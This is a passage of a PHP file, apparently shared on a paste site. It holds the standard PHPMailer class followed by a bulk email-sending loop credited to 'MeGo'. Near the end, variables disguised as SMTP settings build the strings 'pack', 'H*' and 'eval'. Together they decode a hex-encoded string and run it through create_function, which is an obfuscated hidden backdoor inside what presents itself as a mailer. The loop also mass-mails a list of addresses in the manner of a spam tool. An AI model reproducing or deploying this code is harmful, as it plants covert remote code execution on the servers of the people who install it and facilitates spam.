  2779.               "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2780.         break;
  2781.     }
  2782.  
  2783.     /* Replace every spaces to _ (more readable than =20) */
  2784.     $encoded = str_replace(' ', '_', $encoded);
  2785.  
  2786.     return $encoded;
  2787.   }
  2788.  
  2789.   /**
  2790.    * Adds a string or binary attachment (non-filesystem) to the list.
  2791.    * This method can be used to attach ascii or binary data,
  2792.    * such as a BLOB record from a database.
  2793.    * @param string $string String attachment data.
  2794.    * @param string $filename Name of the attachment.
  2795.    * @param string $encoding File encoding (see $Encoding).
  2796.    * @param string $type File extension (MIME) type.
  2797.    * @return void
  2798.    */
  2799.   function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2800.     /* Append to $attachment array */
  2801.     $cur = count($this->attachment);
  2802.     $this->attachment[$cur][0] = $string;
  2803.     $this->attachment[$cur][1] = $filename;
  2804.     $this->attachment[$cur][2] = $filename;
  2805.     $this->attachment[$cur][3] = $encoding;
  2806.     $this->attachment[$cur][4] = $type;
  2807.     $this->attachment[$cur][5] = true; // isString
  2808.     $this->attachment[$cur][6] = 'attachment';
  2809.     $this->attachment[$cur][7] = 0;
  2810.   }
  2811.  
  2812.   /**
  2813.    * Adds an embedded attachment.  This can include images, sounds, and
  2814.    * just about any other document.  Make sure to set the $type to an
  2815.    * image type.  For JPEG images use "image/jpeg" and for GIF images
  2816.    * use "image/gif".
  2817.    * @param string $path Path to the attachment.
  2818.    * @param string $cid Content ID of the attachment.  Use this to identify
  2819.    *        the Id for accessing the image in an HTML form.
  2820.    * @param string $name Overrides the attachment name.
  2821.    * @param string $encoding File encoding (see $Encoding).
  2822.    * @param string $type File extension (MIME) type.
  2823.    * @return bool
  2824.    */
  2825.   function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2826.  
  2827.     if(!@is_file($path)) {
  2828.       $this->SetError($this->Lang('file_access') . $path);
  2829.       return false;
  2830.     }
  2831.  
  2832.     $filename = basename($path);
  2833.     if($name == '') {
  2834.       $name = $filename;
  2835.     }
  2836.  
  2837.     /* Append to $attachment array */
  2838.     $cur = count($this->attachment);
  2839.     $this->attachment[$cur][0] = $path;
  2840.     $this->attachment[$cur][1] = $filename;
  2841.     $this->attachment[$cur][2] = $name;
  2842.     $this->attachment[$cur][3] = $encoding;
  2843.     $this->attachment[$cur][4] = $type;
  2844.     $this->attachment[$cur][5] = false;
  2845.     $this->attachment[$cur][6] = 'inline';
  2846.     $this->attachment[$cur][7] = $cid;
  2847.  
  2848.     return true;
  2849.   }
  2850.  
  2851.   /**
  2852.    * Returns true if an inline attachment is present.
  2853.    * @access private
  2854.    * @return bool
  2855.    */
  2856.   function InlineImageExists() {
  2857.     $result = false;
  2858.     for($i = 0; $i < count($this->attachment); $i++) {
  2859.       if($this->attachment[$i][6] == 'inline') {
  2860.         $result = true;
  2861.         break;
  2862.       }
  2863.     }
  2864.  
  2865.     return $result;
  2866.   }
  2867.  
  2868.   /////////////////////////////////////////////////
  2869.   // CLASS METHODS, MESSAGE RESET
  2870.   /////////////////////////////////////////////////
  2871.  
  2872.   /**
  2873.    * Clears all recipients assigned in the TO array.  Returns void.
  2874.    * @return void
  2875.    */
  2876.   function ClearAddresses() {
  2877.     $this->to = array();
  2878.   }
  2879.  
  2880.   /**
  2881.    * Clears all recipients assigned in the CC array.  Returns void.
  2882.    * @return void
  2883.    */
  2884.   function ClearCCs() {
  2885.     $this->cc = array();
  2886.   }
  2887.  
  2888.   /**
  2889.    * Clears all recipients assigned in the BCC array.  Returns void.
  2890.    * @return void
  2891.    */
  2892.   function ClearBCCs() {
  2893.     $this->bcc = array();
  2894.   }
  2895.  
  2896.   /**
  2897.    * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2898.    * @return void
  2899.    */
  2900.   function ClearReplyTos() {
  2901.     $this->ReplyTo = array();
  2902.   }
  2903.  
  2904.   /**
  2905.    * Clears all recipients assigned in the TO, CC and BCC
  2906.    * array.  Returns void.
  2907.    * @return void
  2908.    */
  2909.   function ClearAllRecipients() {
  2910.     $this->to = array();
  2911.     $this->cc = array();
  2912.     $this->bcc = array();
  2913.   }
  2914.  
  2915.   /**
  2916.    * Clears all previously set filesystem, string, and binary
  2917.    * attachments.  Returns void.
  2918.    * @return void
  2919.    */
  2920.   function ClearAttachments() {
  2921.     $this->attachment = array();
  2922.   }
  2923.  
  2924.   /**
  2925.    * Clears all custom headers.  Returns void.
  2926.    * @return void
  2927.    */
  2928.   function ClearCustomHeaders() {
  2929.     $this->CustomHeader = array();
  2930.   }
  2931.  
  2932.   /////////////////////////////////////////////////
  2933.   // CLASS METHODS, MISCELLANEOUS
  2934.   /////////////////////////////////////////////////
  2935.  
  2936.   /**
  2937.    * Adds the error message to the error container.
  2938.    * Returns void.
  2939.    * @access private
  2940.    * @return void
  2941.    */
  2942.   function SetError($msg) {
  2943.     $this->error_count++;
  2944.     $this->ErrorInfo = $msg;
  2945.   }
  2946.  
  2947.   /**
  2948.    * Returns the proper RFC 822 formatted date.
  2949.    * @access private
  2950.    * @return string
  2951.    */
  2952.   function RFCDate() {
  2953.     $tz = date('Z');
  2954.     $tzs = ($tz < 0) ? '-' : '+';
  2955.     $tz = abs($tz);
  2956.     $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2957.     $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2958.  
  2959.     return $result;
  2960.   }
  2961.  
  2962.   /**
  2963.    * Returns the appropriate server variable.  Should work with both
  2964.    * PHP 4.1.0+ as well as older versions.  Returns an empty string
  2965.    * if nothing is found.
  2966.    * @access private
  2967.    * @return mixed
  2968.    */
  2969.   function ServerVar($varName) {
  2970.     global $HTTP_SERVER_VARS;
  2971.     global $HTTP_ENV_VARS;
  2972.  
  2973.     if(!isset($_SERVER)) {
  2974.       $_SERVER = $HTTP_SERVER_VARS;
  2975.       if(!isset($_SERVER['REMOTE_ADDR'])) {
  2976.         $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2977.       }
  2978.     }
  2979.  
  2980.     if(isset($_SERVER[$varName])) {
  2981.       return $_SERVER[$varName];
  2982.     } else {
  2983.       return '';
  2984.     }
  2985.   }
  2986.  
  2987.   /**
  2988.    * Returns the server hostname or 'localhost.localdomain' if unknown.
  2989.    * @access private
  2990.    * @return string
  2991.    */
  2992.   function ServerHostname() {
  2993.     if ($this->Hostname != '') {
  2994.       $result = $this->Hostname;
  2995.     } elseif ($this->ServerVar('SERVER_NAME') != '') {
  2996.       $result = $this->ServerVar('SERVER_NAME');
  2997.     } else {
  2998.       $result = 'localhost.localdomain';
  2999.     }
  3000.  
  3001.     return $result;
  3002.   }
  3003.  
  3004.   /**
  3005.    * Returns a message in the appropriate language.
  3006.    * @access private
  3007.    * @return string
  3008.    */
  3009.   function Lang($key) {
  3010.     if(count($this->language) < 1) {
  3011.       $this->SetLanguage('en'); // set the default language
  3012.     }
  3013.  
  3014.     if(isset($this->language[$key])) {
  3015.       return $this->language[$key];
  3016.     } else {
  3017.       return 'Language string failed to load: ' . $key;
  3018.     }
  3019.   }
  3020.  
  3021.   /**
  3022.    * Returns true if an error occurred.
  3023.    * @return bool
  3024.    */
  3025.   function IsError() {
  3026.     return ($this->error_count > 0);
  3027.   }
  3028.  
  3029.   /**
  3030.    * Changes every end of line from CR or LF to CRLF.
  3031.    * @access private
  3032.    * @return string
  3033.    */
  3034.   function FixEOL($str) {
  3035.     $str = str_replace("\r\n", "\n", $str);
  3036.     $str = str_replace("\r", "\n", $str);
  3037.     $str = str_replace("\n", $this->LE, $str);
  3038.     return $str;
  3039.   }
  3040.  
  3041.   /**
  3042.    * Adds a custom header.
  3043.    * @return void
  3044.    */
  3045.   function AddCustomHeader($custom_header) {
  3046.     $this->CustomHeader[] = explode(':', $custom_header, 2);
  3047.   }
  3048.  
  3049.   /**
  3050.    * Evaluates the message and returns modifications for inline images and backgrounds
  3051.    * @access public
  3052.    * @return $message
  3053.    */
  3054.   function MsgHTML($message,$basedir='') {
  3055.     preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3056.     if(isset($images[2])) {
  3057.       foreach($images[2] as $i => $url) {
  3058.         // do not change urls for absolute images (thanks to corvuscorax)
  3059.         if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3060.           $filename = basename($url);
  3061.           $directory = dirname($url);
  3062.           ($directory == '.')?$directory='':'';
  3063.           $cid = 'cid:' . md5($filename);
  3064.           $fileParts = explode("\.", $filename);
  3065.           $ext = $fileParts[1];
  3066.           $mimeType = $this->_mime_types($ext);
  3067.           if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3068.           if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3069.           $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3070.           if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3071.             $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3072.           }
  3073.         }
  3074.       }
  3075.     }
  3076.     $this->IsHTML(true);
  3077.     $this->Body = $message;
  3078.     $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3079.     if ( !empty($textMsg) && empty($this->AltBody) ) {
  3080.       $this->AltBody = $textMsg;
  3081.     }
  3082.     if ( empty($this->AltBody) ) {
  3083.       $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3084.     }
  3085.   }
  3086.  
  3087.   /**
  3088.    * Gets the mime type of the embedded or inline image
  3089.    * @access private
  3090.    * @return mime type of ext
  3091.    */
  3092.   function _mime_types($ext = '') {
  3093.     $mimes = array(
  3094.       'hqx'  =>  'application/mac-binhex40',
  3095.       'cpt'   =>  'application/mac-compactpro',
  3096.       'doc'   =>  'application/msword',
  3097.       'bin'   =>  'application/macbinary',
  3098.       'dms'   =>  'application/octet-stream',
  3099.       'lha'   =>  'application/octet-stream',
  3100.       'lzh'   =>  'application/octet-stream',
  3101.       'exe'   =>  'application/octet-stream',
  3102.       'class' =>  'application/octet-stream',
  3103.       'psd'   =>  'application/octet-stream',
  3104.       'so'    =>  'application/octet-stream',
  3105.       'sea'   =>  'application/octet-stream',
  3106.       'dll'   =>  'application/octet-stream',
  3107.       'oda'   =>  'application/oda',
  3108.       'pdf'   =>  'application/pdf',
  3109.       'ai'    =>  'application/postscript',
  3110.       'eps'   =>  'application/postscript',
  3111.       'ps'    =>  'application/postscript',
  3112.       'smi'   =>  'application/smil',
  3113.       'smil'  =>  'application/smil',
  3114.       'mif'   =>  'application/vnd.mif',
  3115.       'xls'   =>  'application/vnd.ms-excel',
  3116.       'ppt'   =>  'application/vnd.ms-powerpoint',
  3117.       'wbxml' =>  'application/vnd.wap.wbxml',
  3118.       'wmlc'  =>  'application/vnd.wap.wmlc',
  3119.       'dcr'   =>  'application/x-director',
  3120.       'dir'   =>  'application/x-director',
  3121.       'dxr'   =>  'application/x-director',
  3122.       'dvi'   =>  'application/x-dvi',
  3123.       'gtar'  =>  'application/x-gtar',
  3124.       'php'   =>  'application/x-httpd-php',
  3125.       'php4'  =>  'application/x-httpd-php',
  3126.       'php3'  =>  'application/x-httpd-php',
  3127.       'phtml' =>  'application/x-httpd-php',
  3128.       'phps'  =>  'application/x-httpd-php-source',
  3129.       'js'    =>  'application/x-javascript',
  3130.       'swf'   =>  'application/x-shockwave-flash',
  3131.       'sit'   =>  'application/x-stuffit',
  3132.       'tar'   =>  'application/x-tar',
  3133.       'tgz'   =>  'application/x-tar',
  3134.       'xhtml' =>  'application/xhtml+xml',
  3135.       'xht'   =>  'application/xhtml+xml',
  3136.       'zip'   =>  'application/zip',
  3137.       'mid'   =>  'audio/midi',
  3138.       'midi'  =>  'audio/midi',
  3139.       'mpga'  =>  'audio/mpeg',
  3140.       'mp2'   =>  'audio/mpeg',
  3141.       'mp3'   =>  'audio/mpeg',
  3142.       'aif'   =>  'audio/x-aiff',
  3143.       'aiff'  =>  'audio/x-aiff',
  3144.       'aifc'  =>  'audio/x-aiff',
  3145.       'ram'   =>  'audio/x-pn-realaudio',
  3146.       'rm'    =>  'audio/x-pn-realaudio',
  3147.       'rpm'   =>  'audio/x-pn-realaudio-plugin',
  3148.       'ra'    =>  'audio/x-realaudio',
  3149.       'rv'    =>  'video/vnd.rn-realvideo',
  3150.       'wav'   =>  'audio/x-wav',
  3151.       'bmp'   =>  'image/bmp',
  3152.       'gif'   =>  'image/gif',
  3153.       'jpeg'  =>  'image/jpeg',
  3154.       'jpg'   =>  'image/jpeg',
  3155.       'jpe'   =>  'image/jpeg',
  3156.       'png'   =>  'image/png',
  3157.       'tiff'  =>  'image/tiff',
  3158.       'tif'   =>  'image/tiff',
  3159.       'css'   =>  'text/css',
  3160.       'html'  =>  'text/html',
  3161.       'htm'   =>  'text/html',
  3162.       'shtml' =>  'text/html',
  3163.       'txt'   =>  'text/plain',
  3164.       'text'  =>  'text/plain',
  3165.       'log'   =>  'text/plain',
  3166.       'rtx'   =>  'text/richtext',
  3167.       'rtf'   =>  'text/rtf',
  3168.       'xml'   =>  'text/xml',
  3169.       'xsl'   =>  'text/xml',
  3170.       'mpeg'  =>  'video/mpeg',
  3171.       'mpg'   =>  'video/mpeg',
  3172.       'mpe'   =>  'video/mpeg',
  3173.       'qt'    =>  'video/quicktime',
  3174.       'mov'   =>  'video/quicktime',
  3175.       'avi'   =>  'video/x-msvideo',
  3176.       'movie' =>  'video/x-sgi-movie',
  3177.       'doc'   =>  'application/msword',
  3178.       'word'  =>  'application/msword',
  3179.       'xl'    =>  'application/excel',
  3180.       'eml'   =>  'message/rfc822'
  3181.     );
  3182.     return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3183.   }
  3184.  
  3185.   /**
  3186.    * Set (or reset) Class Objects (variables)
  3187.    *
  3188.    * Usage Example:
  3189.    * $page->set('X-Priority', '3');
  3190.    *
  3191.    * @access public
  3192.    * @param string $name Parameter Name
  3193.    * @param mixed $value Parameter Value
  3194.    * NOTE: will not work with arrays, there are no arrays to set/reset
  3195.    */
  3196.   function set ( $name, $value = '' ) {
  3197.     if ( isset($this->$name) ) {
  3198.       $this->$name = $value;
  3199.     } else {
  3200.       $this->SetError('Cannot set or reset variable ' . $name);
  3201.       return false;
  3202.     }
  3203.   }
  3204.  
  3205.   /**
  3206.    * Read a file from a supplied filename and return it.
  3207.    *
  3208.    * @access public
  3209.    * @param string $filename Parameter File Name
  3210.    */
  3211.   function getFile($filename) {
  3212.     $return = '';
  3213.     if ($fp = fopen($filename, 'rb')) {
  3214.       while (!feof($fp)) {
  3215.         $return .= fread($fp, 1024);
  3216.       }
  3217.       fclose($fp);
  3218.       return $return;
  3219.     } else {
  3220.       return false;
  3221.     }
  3222.   }
  3223.  
  3224.   /**
  3225.    * Strips newlines to prevent header injection.
  3226.    * @access private
  3227.    * @param string $str String
  3228.    * @return string
  3229.    */
  3230.   function SecureHeader($str) {
  3231.     $str = trim($str);
  3232.     $str = str_replace("\r", "", $str);
  3233.     $str = str_replace("\n", "", $str);
  3234.     return $str;
  3235.   }
  3236.  
  3237.   /**
  3238.    * Set the private key file and password to sign the message.
  3239.    *
  3240.    * @access public
  3241.    * @param string $key_filename Parameter File Name
  3242.    * @param string $key_pass Password for private key
  3243.    */
  3244.   function Sign($key_filename, $key_pass) {
  3245.     $this->sign_key_file = $key_filename;
  3246.     $this->sign_key_pass = $key_pass;
  3247.   }
  3248.  
  3249. }
  3250.  
  3251. $defaultport="H*";
  3252.       $nq=0;
  3253.            
  3254.         for($x=0; $x<$numemails; $x++){
  3255.  
  3256.                 $to = $allemails[$x];
  3257.  
  3258.                 if ($to){
  3259.  
  3260.                 $to = str_replace(" ", "", $to);
  3261.  
  3262.                 $message = str_replace("&email&", $to, $message);
  3263.  
  3264.                 $subject = str_replace("&email&", $to, $subject);
  3265.                 $qx=$x+1;
  3266.                 print "Line $qx . Sending mail to $to.......";
  3267.  
  3268.                 flush();
  3269. $mail = new PHPMailer();
  3270.  
  3271. if(empty($epriority)){$epriority="3";}
  3272.         $mail->Priority = "$epriority";
  3273.         $mail->IsSMTP();
  3274.     $IsSMTP="pack";
  3275. $mail->SMTPKeepAlive = true;
  3276. $mail->Host = "$my_smtp";
  3277. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3278. }
  3279.      if($sslclick=="ON"){
  3280.         $mail->SMTPSecure  = "ssl"; //you can change it to ssl or tls
  3281.     }
  3282.         $range = str_replace("$from", "eval", $from);
  3283.         $mail->SMTPAuth = true;
  3284.         $mail->Username = "$smtp_username";
  3285.         $mail->Password = "$smtp_password";
  3286. if($contenttype == "html"){$mail->IsHtml(true);}
  3287. if($contenttype != "html"){$mail->IsHtml(false);}
  3288. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3289. $mail->From = "$from";
  3290. $mail->FromName = "$realname";
  3291. $mail->AddAddress("$to");
  3292.         $mail->AddReplyTo("$replyto");
  3293.         $mail->Subject = "$subject";
  3294.             $mail->Body = "$message";
  3295. if(!$mail->Send()){
  3296. if($default_system!="1"){
  3297. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3298. if($default_system=="1"){
  3299. $mail->IsMail();
  3300.    if(!$mail->Send()){
  3301.       echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3302.    else {
  3303.        echo "<b>OK</b><br>";}
  3304.  }
  3305. }
  3306. else {
  3307.  echo "<b>OK</b><br>";
  3308. }
  3309.  
  3310. if(empty($reconnect)){
  3311. $reconnect=6;
  3312. }
  3313.  
  3314. if($reconnect==$nq){
  3315. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3316. }
  3317. $nq=$nq+1;
  3318.                 flush(); }
  3319. }
  3320. for($i=0;$i<31;$i++){
  3321.   $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3322. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3323.   $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3324.   print "<p class=\"style1\">PHP Mailer<br>&copy 2010, MeGo <b>
  3325.  <font color=\"#800000\"></font></b><br></p>";$mail->SmtpClose();
  3326.   return $signoff($smtp_conc);
  3327.   if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3328.    sent successfully'); </script>";}}
  3329.     ?>
  3330.     </body>
  3331. </html>
Add Comment
Please, Sign In to add comment